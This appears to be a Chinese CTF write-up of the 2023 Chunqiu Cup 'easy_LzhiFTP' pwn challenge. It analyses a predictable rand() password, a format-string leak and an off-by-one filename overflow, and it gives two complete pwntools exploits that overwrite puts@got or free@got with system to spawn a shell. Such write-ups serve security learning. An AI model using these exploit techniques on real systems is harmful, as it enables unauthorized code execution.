2023春秋杯春季赛 easy_LzhiFTP
分析
保护机制
$ checksec --file=easy_LzhiFTP
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 4 easy_LzhiFTP
逻辑梳理
ida打开可执行文件。main函数里的有一个登录函数:
__int64 login()
{
char s2[4]; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2 = rand() % 115;
*(_DWORD *)s2 = v2 * rand() % 200;
puts("################-- ichunqiu --################");
puts("Welcome to IMLZH1-FTP Server");
puts("IMLZH1-FTP:) want get flag??");
printf("Username: ");
read(0, byte_4120, 0x20uLL);
printf("Hello %s", byte_4120);
printf("Input Password: ");
read(0, s1, 0x20uLL);
if ( strcmp(s1, s2) )
{
puts("Password error.");
exit(0);
}
puts("Login succeeded.");
is_Login_succeeded = 1;
return 0LL;
}
可以看到,密码是基于随机函数rand生成的,但是因为没有用srand设置随机数种子,所以password的值是不变的,为0xa00000072
► 0x55555555558b call strcmp@plt <strcmp@plt>
s1: 0x555555558140 ◂— 0xa3030785c /* '\\x00\n' */
s2: 0x7fffffffdec0 ◂— 0xa00000072 /* 'r' */
登陆成功后,就可以进入交互部分了。
printf("do you like my Server??(yes/No)");
fgets(byte_4968, 8, stdin); // 输入
if ( !strncmp(byte_4968, "No", 2uLL) )
{
printf("Your Choice:");
printf(byte_4968); // fmt
puts("\nNo Thank you liking.");
}
else if ( !strncmp(byte_4968, "yes", 3uLL) )
{
printf("Your Choice:");
printf(byte_4968); // fmt
puts("\nThank you liking.");
}
在printf("do you like my Server??(yes/No)");
后面存在格式化字符串漏洞,可以用来泄露程序基址,进而计算puts的真实got地址,和system的真实plt地址。
输入touch指令“创建”文件,需要写入文件名和文件内容。文件名和内容有长度限制无法溢出。
if ( !strncmp(s1, "touch", 5uLL) && files_number_4C00 <= 16 && strlen(s1) > 6 )
{
strncat(&filename_buf_4A80[8 * files_number_4C00], &s1[6], 7uLL);// &s1[6]是文件名字符串
puts("touch file success!!");
*((_QWORD *)&content_buf_4B00 + files_number_4C00) = malloc(0x100uLL);
// content_buf每+1就是其实就是地址加8,因为content_buf是_QWORD类型,也就是说它指向的内存都是以8字节为单位。
// 即相当于将 content_buf 所指向的内存地址后面第 files_number 个 _QWORD 元素(即 8 字节)的值作为内存地址进行存储
// 而这个内存地址又指向一个大小为0x100的内存空间
printf("write Context:");
read(0, *((void **)&content_buf_4B00 + files_number_4C00), 0x38uLL);// 写入
printf("The content of %s is: ", &filename_buf_4A80[8 * files_number_4C00]);// 打印文件名
printf("%s\n", *((const char **)&content_buf_4B00 + files_number_4C00));// 打印内容
++files_number_4C00;
}
看看content_buf_4B00和filename_buf_4A80的位置:
可以看到,这两个区块是相邻的。逻辑上,filename_buf_4A80会存放16个文件名,files_number_4C00记录文件数量。但是在“del”那段代码可以看到,del时并没有对files_number_4C00进行变化,而同时,content_buf_4B00和filename_buf_4A80都基于files_number_4C00来计算偏移,当files_number_4C00等于16时就会使filename_buf_4A80的内容溢出到content_buf_4B00。
files_number_4C00 <= 16 造成了溢出,应该改为小于号
关于files_number_4C00的值可以在调试的时候查看,它的地址是程序基址+0x4c00。
而“edit”那段代码则是修改*((void **)&content_buf_4B00 + buf)
的值。
if ( !strncmp(s1, "edit", 4uLL) )
{
buf = 0;
puts("idx:");
read(0, &buf, 3uLL);
buf = atoi((const char *)&buf);
if ( buf > 15 )
{
puts("Error,");
}
else
{
printf("Content: ");
read(0, *((void **)&content_buf_4B00 + buf), 0x20uLL);// edit的内容
printf("%s\n", *((const char **)&content_buf_4B00 + buf));
}
}
再看“ls”处理代码
if ( !strncmp(s1, "ls", 2uLL) && files_number_4C00 )
{
for ( i = 0; i <= 15; ++i )
puts(&filename_buf_4A80[8 * i]);
}
puts函数打印文件名。同时因为Partial RELRO,所以可以覆写puts@got的值,而程序本身有调用system函数,就不需要去泄露libc基址来找system的真实地址,即使puts@got的值为system的plt地址,然后文件名是/bin/sh\x00
,就能够getshell。
步骤如下:
- 用调试得到的密码完成登录
- 利用格式化字符串漏洞泄露puts函数的真实地址
- 连续调用16次touch
- del掉索引为0的文件,files_number_4C00依然为15(从0开始)
- 再次touch,这次的文件名为puts@got,files_number_4C00加1,覆盖了content_buf_4B00的值
- edit修改,
*((void **)&content_buf_4B00 + buf)
依然是一个指针,值为puts@got,那么修改值为system的真实地址 - 输入ls,getshell
exp
from pwn import *
import sys
if len(sys.argv) == 3:
(ip,port) = (sys.argv[1],sys.argv[2])
p = remote(ip,port)
else:
p = process('./easy_LzhiFTP')
context(os='linux',arch='amd64',log_level='debug')
# gdb.attach(p)
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
elf = ELF('./easy_LzhiFTP')
password = 0xa00000072
# login
p.sendlineafter("Username: ",'h')
p.sendlineafter("Password: ",p64(password))
# leak
Login_succeeded = next(elf.search(b"Login succeeded"))
lg('Login_succeeded')
p.sendlineafter("(yes/No)",'No%6$p')
p.recvuntil('0x')
program_base = int(p.recv(12),16) - Login_succeeded
lg('program_base')
puts_got = elf.got['puts'] + program_base
lg('puts_got')
system = elf.plt['system'] + program_base
lg('system')
# overflow
## touch
for i in range(0x10):
p.sendlineafter("IMLZH1-FTP> ",'touch /bin/sh\x00')
p.sendlineafter("write Context:","hacking")
## del
p.sendlineafter("IMLZH1-FTP> ",'del')
p.sendlineafter("idx:",'0')
## touch
p.sendlineafter("IMLZH1-FTP> ",b'touch ' + p64(puts_got)) #touch后面有一个空格
p.sendlineafter("write Context:","hacking")
## debug
p.sendlineafter("IMLZH1-FTP> ",'debug')
## edit
p.sendlineafter("IMLZH1-FTP> ",'edit')
p.sendlineafter("idx:","0")
p.sendafter("Content: ",p64(system))
## ls
p.sendlineafter("IMLZH1-FTP> ",'ls')
p.interactive()
除了可以改写puts@got,也可以改写free@got,而content为/bin/sh\x00
,其余操作类似,最后del触发。
下面是一位大佬的writeup:
from pwn import *
from struct import pack
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process('./easy_LzhiFTP')
#p = remote('39.106.48.123', 18593)
elf = ELF('./easy_LzhiFTP')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(name, data):
sla('FTP> ', b'touch ' + name)
sa('Context:', data)
def show():
sla('FTP> ', b'cat')
def edit(idx, data):
sla('FTP> ', b'edit')
sa('idx', str(idx))
sa('Content: ', data)
def free(idx):
sla('FTP> ', b'del')
sa('idx:', str(idx))
sa(b'name: ', b'a'*0x20)
sa(b'Password: ', p64(0x0000000a00000072))
sla(b'No)', b'No%25$p')
#pause()
rl(b'0x')
pie = int(p.recv(12), 16) -7381
print("-------------------------pie",hex(pie))
for i in range(0x10):
add(b'aaaa', b'/bin/sh\x00')
free(0)
add(p64(pie + elf.got['free']), b'a'*8)
edit(0, p64(pie + elf.sym['system']))
free(4)
inter()
总结
程序基址和libc基址是不一样的。
由于ASLR和PIE的保护,静态下获取的got地址----puts_got = elf.got['puts']
,其实只是一个偏移值。这个偏移值加上程序基址才能得到真实的程序运行时的got表上puts函数的地址。这个和ret2libc类似。ret2program?
这次春季赛好像特别喜欢出伪随机数。